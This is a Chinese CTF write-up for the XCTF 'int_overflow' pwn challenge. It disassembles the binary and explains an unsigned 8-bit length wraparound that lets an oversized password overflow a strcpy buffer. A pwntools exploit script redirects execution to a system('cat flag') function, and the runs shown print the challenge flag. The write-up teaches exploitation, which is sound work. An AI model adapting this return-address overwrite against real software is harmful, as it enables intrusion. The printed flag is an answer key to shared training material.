

int_overflow [XCTF-PWN]CTF writeup系列9

原创

3riCSr 于 2019-12-20 20:36:39 发布 532 收藏

分类专栏: [XCTF-PWN CTF](#) 文章标签: [xctf](#) [攻防世界](#) [ctf](#) [pwn](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/fastergohome/article/details/103638090>

版权



[XCTF-PWN](#) 同时被 2 个专栏收录

28 篇文章 5 订阅

订阅专栏



[CTF](#)

46 篇文章 1 订阅

订阅专栏

题目地址: [int_overflow](#)

先看看题目内容:



这道题目的名字已经把漏洞说明白了, 就是整数溢出漏洞

那我们就照例下载文件, 检查保护机制

```
root@mypwn:/ctf/work/python# checksec abd631bc00e445608f5f2af2cb0c151a
[*] '/ctf/work/python/abd631bc00e445608f5f2af2cb0c151a'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

只开启了NX, 那就没问题了, 可以做栈溢出。拿出ida做下反编译

Library function Regular function Instruction Data Unexplored External symbol

Functions window IDA View-A Hex View-1

Function name

- _init_proc
- sub_80484B0
- setbuf**
- read
- printf
- fflush
- strcpy
- puts
- system
- exit
- strlen
- __libc_start_main
- memset
- __isoc99_scanf
- gmon_start_
- start
- x86_get_pc_thunk_bx
- deregister_tm_clones
- register_tm_clones
- __do_global_dtors_aux
- frame_dummy
- what_is_this
- check_passwd
- login
- main**
- __libc_csu_init
- __libc_csu_fini
- term_proc
- setbuf
- read
- printf
- fflush
- strcpy

```

.text:080487CA ; ===== SUBROUTINE =====
.text:080487CA ; Attributes: bp-based frame
.text:080487CA ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:080487CA public main
.text:080487CA main proc near ; DATA XREF: start+17↑o
.text:080487CA
.text:080487CA var_C = dword ptr -0Ch
.text:080487CA var_4 = dword ptr -4
.text:080487CA argc = dword ptr 8
.text:080487CA argv = dword ptr 0Ch
.text:080487CA envp = dword ptr 10h
.text:080487CA ; __unwind {
.text:080487CA lea ecx, [esp+4]
.text:080487CA and esp, 0FFFFFFF0h
.text:080487CE push dword ptr [ecx-4]
.text:080487D1 push ebp
.text:080487D4 mov ebp, esp
.text:080487D5 push ecx
.text:080487D8 sub esp, 14h
.text:080487DB mov eax, ds:stdin@GLIBC_2_0
.text:080487E0 sub esp, 8
.text:080487E3 push 0 ; buf
.text:080487E5 push eax ; stream
.text:080487E6 call _setbuf
.text:080487EB add esp, 10h
.text:080487EE mov eax, ds:stdout@GLIBC_2_0
.text:080487F3 sub esp, 8
.text:080487F6 push 0 ; buf
.text:080487F8 push eax ; stream
.text:080487F9 call _setbuf
.text:080487FE add esp, 10h
.text:08048801 mov eax, ds:stderr@GLIBC_2_0
.text:08048806 sub esp, 8
.text:08048809 push 0 ; buf
.text:0804880B push eax ; stream
.text:0804880C call _setbuf
.text:08048811 add esp, 10h
.text:08048814 sub esp, 0Ch
.text:08048817 push offset asc_80489C2 ; "-----"
.text:0804881C call _puts
.text:08048821 add esp, 10h
.text:08048824 sub esp, 0Ch
.text:08048827 push offset aWelcomeToCtf ; "-- Welcome to CTF! ~--"
.text:0804882C call _puts
.text:08048831 add esp, 10h
.text:08048834 sub esp, 0Ch
.text:08048837 push offset aLogin ; " 1.Login "
.text:0804883C call _puts
.text:08048841 add esp, 10h
.text:08048844 sub esp, 0Ch
.text:08048847 push offset a2Exit ; " 2.Exit "
.text:0804884C call _puts
.text:08048851 add esp, 10h
.text:08048854 sub esp, 0Ch
.text:08048857 push offset asc_80489C2 ; "-----"
.text:0804885C call _puts
.text:08048861 add esp, 10h
.text:08048864 sub esp, 0Ch
.text:08048867 push offset aYourChoice ; "Your choice:"
.text:0804886C call _printf
.text:08048871 add esp, 10h
.text:08048874 sub esp, 8
.text:08048877 lea eax, [ebp+var_C]
.text:0804887A push eax
.text:0804887B push offset aD ; "%d"
.text:08048880 call __isoc99_scanf

```

Line 25 of 41 000007CA 080487CA: main (Synchronized with Hex View-1) <https://blog.csdn.net/fastergohome>

主要有四个函数：

1. main
2. login
3. check_passwd
4. what_is_this

反编译成c语言如下：

```

int __cdecl main(int argc, const char **argv, const char **envp)
{
    int v4; // [esp+Ch] [ebp-Ch]

    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);

    puts("-----");
    puts("-- Welcome to CTF! ~--");
    puts(" 1.Login ");
    puts(" 2.Exit ");

```

```

puts("-----");
printf("Your choice:");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
    login();
}
else
{
    if ( v4 == 2 )
    {
        puts("Bye~");
        exit(0);
    }
    puts("Invalid Choice!");
}
return 0;
}

int login()
{
    char buf; // [esp+0h] [ebp-228h]
    char s; // [esp+200h] [ebp-28h]

    memset(&s, 0, 0x20u);
    memset(&buf, 0, 0x200u);
    puts("Please input your username:");
    read(0, &s, 0x19u);
    printf("Hello %s\n", &s);
    puts("Please input your passwd:");
    read(0, &buf, 0x199u);
    return check_passwd(&buf);
}

char *__cdecl check_passwd(char *s)
{
    char *result; // eax
    char dest; // [esp+4h] [ebp-14h]
    unsigned __int8 v3; // [esp+Fh] [ebp-9h]

    v3 = strlen(s);
    if ( v3 <= 3u || v3 > 8u )
    {
        puts("Invalid Password");
        result = (char *)fflush(stdout);
    }
    else
    {
        puts("Success");
        fflush(stdout);
        result = strcpy(&dest, s);
    }
    return result;
}

int what_is_this()
{
    return system("cat flag");
}

```

我们一定要记得把所有重要的函数都反出来，放在一个文件里面观看，这样会比较容易理解。

注意到what_is_this函数就是我们需要的目标，逆推看到需要达成的条件为：

```
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
    puts("Invalid Password");
    result = (char *)fflush(stdout);
}
else
{
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);
}
```

变量s的长度要在3-8之间，我们看到溢出点应该是在：

```
result = strcpy(&dest, s);
```

如果要在这一行达到栈溢出，至少要 $>0x14+4+4$ ，因为如下定义的时候变量dest距离栈底14h

```
char dest; // [esp+4h] [ebp-14h]
```

这里就涉及到整数溢出的漏洞

```
unsigned __int8 v3; // [esp+fh] [ebp-9h]

v3 = strlen(s);
```

注意到v3的定义是int8，这表示v3最大值是255，如果给v3赋值256的话，那么v3就会等于0。

根据这个漏洞，我们构造payload如下：

```
system_addr = 0x08048694
payload = 'A'*0x14 + 'A'*4 + p32(system_addr) + 'A'*(256+3-0x14-4-4)
```

这里的system_addr地址是直接from what_is_this函数中获取的目标函数执行地址。为了要让总长度为256+3，所以在尾部补足字符数量为 $(256+3-0x14-4-4)$

程序执行的正常流程如下：

```
root@mypwn:/ctf/work/python# ./abd631bc00e445608f5f2af2cb0c151a
-----
~~ Welcome to CTF! ~~
    1.Login
    2.Exit
-----
Your choice:1
Please input your username:
aa
Hello aa

Please input your passwd:
aaa
Success
```

利用payload编写python脚本如下:

```
#!/python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

p = process('./abd631bc00e445608f5f2af2cb0c151a')
# p = remote("111.198.29.45", 52600)

system_addr = 0x08048694
payload = 'A'*0x14 + 'A'*4 + p32(system_addr) + 'A'*(256+3-0x14-4-4)

p.sendlineafter('Your choice:', '1')
p.sendlineafter('username:', 'aa')
p.sendlineafter('passwd:', payload)
p.interactive()
```

执行结果为:

```
root@mypwn:/ctf/work/python# python int_overflow.py
[+] Starting local process './abd631bc00e445608f5f2af2cb0c151a': pid 158
[*] Switching to interactive mode

Success
cat: flag: No such file or directory
[*] Got EOF while reading in interactive
$
```

确定没有问题, 那就修改python脚本连接服务器, 结果如下:

```
root@mypwn:/ctf/work/python# python int_overflow.py
[+] Opening connection to 111.198.29.45 on port 52600: Done
[*] Switching to interactive mode

Success
cyberpeace{5245c2a80ab7a2313990edb9bed8dbf2}
[*] Got EOF while reading in interactive
$
```

执行成功，简单明了

这个题目的考点在前面栈溢出的基础上增加了整数溢出的部分。



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)